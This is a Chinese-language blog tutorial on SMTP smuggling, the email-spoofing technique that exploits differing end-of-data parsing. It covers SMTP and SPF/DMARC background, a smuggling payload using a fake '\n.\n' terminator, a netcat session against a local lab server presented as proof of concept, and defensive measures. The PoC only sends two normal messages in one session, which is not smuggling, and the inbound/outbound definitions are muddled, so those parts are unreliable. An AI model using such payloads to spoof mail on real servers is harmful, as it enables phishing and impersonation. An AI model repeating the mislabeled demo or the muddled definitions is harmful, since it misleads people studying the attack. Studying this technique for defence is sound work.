简介
SMTP(Simple Mail Transfer Protocol)是互联网电子邮件传输的基础协议。其设计初衷是为了方便邮件的传递,而非注重安全性,因此它存在一些可被恶意利用的漏洞。本文将探讨一种利用 SMTP 协议漏洞的高级攻击技术——SMTP 走私(SMTP Smuggling),以及如何通过复杂的邮件头部和格式欺骗邮件服务器,绕过安全检查,达到非法传递信息的目的。
SMTP 走私是一种专门用来伪造电子邮件进行欺骗的攻击技术。通过利用 SMTP 协议中的差异,攻击者可以绕过一些身份验证机制,发送看似来自受信任域的电子邮件。SMTP 走私利用了不同 SMTP 服务器对数据结束序列的不同解释,将消息分割成不同的部分,从而实现攻击。
SMTP 基础知识
SMTP 是用于发送电子邮件的协议,典型的工作流程如下:
-
建立连接:客户端(发送方)通过发送
EHLO
(扩展的HELO
命令)启动 SMTP 会话。 -
发送命令:
-
MAIL FROM
:指定发件人的电子邮件地址。 -
RCPT TO
:指定收件人的电子邮件地址。
-
-
传输数据:
-
DATA
命令:开始发送邮件内容。 -
邮件头部和正文之间用一个空行(
<CR><LF>
)分隔。 -
邮件内容以
<CR><LF>.<CR><LF>
结束。
-
-
结束会话:通过
QUIT
命令关闭连接。
SMTP 会话示例
以下是一个典型的 SMTP 会话示例:
EHLO sender.exm
250 mx.receiver.exm Hello sender.exm
MAIL FROM: <[email protected]>
250 OK
RCPT TO: <[email protected]>
250 OK
DATA
354 Start mail input; end with <CR><LF>.<CR><LF>
From: [email protected]
To: [email protected]
Subject: Example
Hello, this is a test message.
<CR><LF>.<CR><LF>
250 OK
QUIT
221 mx.receiver.exm closing connection
上述交互展示了一个完整的 SMTP 会话,其中邮件内容以<CR><LF>.<CR><LF>
结束,这是邮件服务器识别邮件数据结束的标志。
SMTP 走私攻击的原理
SMTP 走私攻击的核心思想是利用邮件头部或数据结束序列的处理差异,绕过安全机制,将伪造的邮件传递到目标服务器。
原理图解
图解说明:
-
第一幅图:
-
伪造的邮件在内容结束时未使用标准的
<CR><LF>.<CR><LF>
序列。 -
结果是后续的 SMTP 命令被视为邮件内容的一部分。
-
-
第二幅图:
-
接收服务器将两个消息解析为独立的邮件。
-
这导致攻击者的邮件内容被分割并作为两封邮件传递。
-
通过操纵数据结束序列,攻击者可以让接收服务器对邮件内容产生不同的解析,从而实现伪造和绕过安全检查。
HTTP 走私的启发
SMTP 走私技术的灵感来自于 HTTP 走私。HTTP 走私是通过操纵 HTTP 请求头,使得前端和后端服务器对请求的处理产生差异,从而将恶意请求“走私”到服务器。
例如,在 HTTP 走私中,通过控制Content-Length
和Transfer-Encoding
头部,攻击者可以让前端服务器认为一个请求已经结束,而让后端服务器继续处理隐藏在其后的恶意请求。
SMTP 走私的实现
类似地,SMTP 走私通过操纵 SMTP 消息的结构,特别是数据结束序列<CR><LF>.<CR><LF>
,让不同的服务器对邮件内容的解析产生差异,从而达到绕过安全检查的目的。
出站和入站走私
SMTP 走私攻击可以分为两种类型:入站走私和出站走私。
入站走私
在入站走私中,攻击者利用合法的 SMTP 服务器发送伪造的邮件,但通过特殊的邮件头或格式,使邮件看起来像是来自另一个合法域名。由于发件服务器没有正确处理这些特制的邮件头或格式,邮件被转发到目标接收服务器时,绕过了 SPF 检查,成功送达目标收件人。
出站走私
在出站走私中,攻击者发送的特制电子邮件包含多个邮件头或段落,可能导致接收服务器在解析时产生不同的解释。由于这些特殊处理方式,接收服务器在执行 SPF 检查时,可能误将邮件头中的伪造域名识别为合法域名,从而通过 SPF 检查,成功送达目标收件人。
SPF 和 SPF 对齐检查
为了更好地理解 SMTP 走私,我们需要了解 SPF 和 SPF 对齐检查的基础。
SPF(Sender Policy Framework)
SPF 是一种电子邮件验证机制,用于验证邮件是否来自被授权的邮件服务器,从而防止发件人地址伪造。它通过域名的 DNS 记录中指定哪些服务器可以代表该域发送电子邮件。接收服务器会检查发件邮件的 IP 地址是否在发件人的 SPF 记录中。
SPF 对齐检查
在 DMARC(基于域名的消息认证、报告和一致性)策略中,SPF 对齐检查要求邮件的“From”地址和通过 SPF 验证的发件人域名必须一致(或对齐)。这增加了邮件验证的严格性,进一步防止域名欺骗。
SMTP 走私的具体实现
在实际操作中,SMTP 走私利用了 SMTP 协议中不同服务器对数据结束序列的不同处理方式。标准的 SMTP 数据结束序列是<CR><LF>.<CR><LF>
,但不同的服务器可能对这一序列有不同的处理方法:
-
点填充:有些服务器会将单个点替换为双点,即
<CR><LF>.<CR><LF>
变为<CR><LF>..<CR><LF>
。 -
换行符处理:有些服务器可能只识别单一的换行符
<LF>.<LF>
作为数据结束序列。 -
编码处理:一些服务器可能会对数据进行编码,例如使用
quoted-printable
编码。 -
忽略处理:某些服务器可能完全忽略特定的序列。
示例
假设我们在一封邮件中使用了特殊的结束序列<LF>.<LF>
,并且出站 SMTP 服务器和入站 SMTP 服务器对这一序列有不同的解释。出站服务器可能忽略这一序列,而入站服务器可能将其视为数据结束序列。
邮件数据示例
From: [email protected]
To: [email protected]
Subject: Testing EOD ('\n.\n')
Hello, testing '\n.\n' as a fake end-of-data sequence!
SMUGGLINGSTART
..\n.\n
SMUGGLINGEND
.\r\n
解析结果
在入站服务器上,这段数据可能被解析为:
[+] Found identifiers!
SMUGGLINGSTART
..\n.\n
SMUGGLINGEND
在这种情况下,入站服务器将\n.\n
视为数据结束序列,而出站服务器可能忽略了这个序列的特殊意义,从而导致伪造数据被成功走私。
靶场复现
为了实践和理解 SMTP 走私攻击,可以搭建一个实验环境。你可以参考以下链接了解如何在 Ubuntu 上设置一个 SMTP 渗透测试环境: SMTP 渗透测试实验室设置
POC:SMTP 走私攻击演示
以下是一个使用nc
(Netcat)工具的 POC 示例,它展示了如何通过 SMTP 走私发送伪造邮件:
──(root㉿vision)-[/var/www/html]
└─# nc -nv 127.0.0.1 25
(UNKNOWN) [127.0.0.1] 25 (smtp) open
220 mail.vision.lab ESMTP Postfix (Debian/GNU)
EHLO visionsec
250-mail.vision.lab
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
MAIL FROM: [email protected]
250 2.1.0 Ok
RCPT TO: [email protected]
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Hacker_By_Vision
V me 50
.
250 2.0.0 Ok: queued as DA86612A3FC
MAIL FROM: [email protected]
250 2.1.0 Ok
RCPT TO: [email protected]
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: hhh
ATT by hacker test
.
250 2.0.0 Ok: queued as EB39012A3FC
quit
221 2.0.0 Bye
在上述示例中:
-
第一个邮件内容以
.
结束。 -
然而,在发送
quit
命令之前,继续发送了第二封邮件,达到发送多封伪造邮件的效果。
最终结果
防御措施
为了防止 SMTP 走私攻击,组织应采取以下防御措施:
-
严格验证 SMTP 交互:确保 SMTP 服务器严格按照标准协议处理数据结束序列,不接受非标准的结束序列。
-
启用 DMARC 保护:通过配置 DMARC 政策,确保邮件的“From”地址与通过 SPF 和 DKIM 验证的发件人域名一致。
-
定期更新和审查服务器配置:确保服务器配置符合最新的安全最佳实践,并定期进行安全审查。
-
使用高级邮件安全网关:部署可以识别和拦截复杂攻击的邮件安全网关,以保护组织免受 SMTP 走私等高级攻击。
结语
SMTP 走私攻击展示了如何利用协议的复杂性和不同实现之间的差异,绕过安全机制,将伪造的邮件传递到目标服务器。这种攻击方式提醒我们在设计和部署系统时,不仅要关注协议的功能,还要深入理解其潜在的安全风险,以便采取适当的防御措施。
通过本文,希望您对 SMTP 走私技术有了更深入的了解,并能在实际工作中采取有效的措施,保护邮件系统免受此类攻击。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)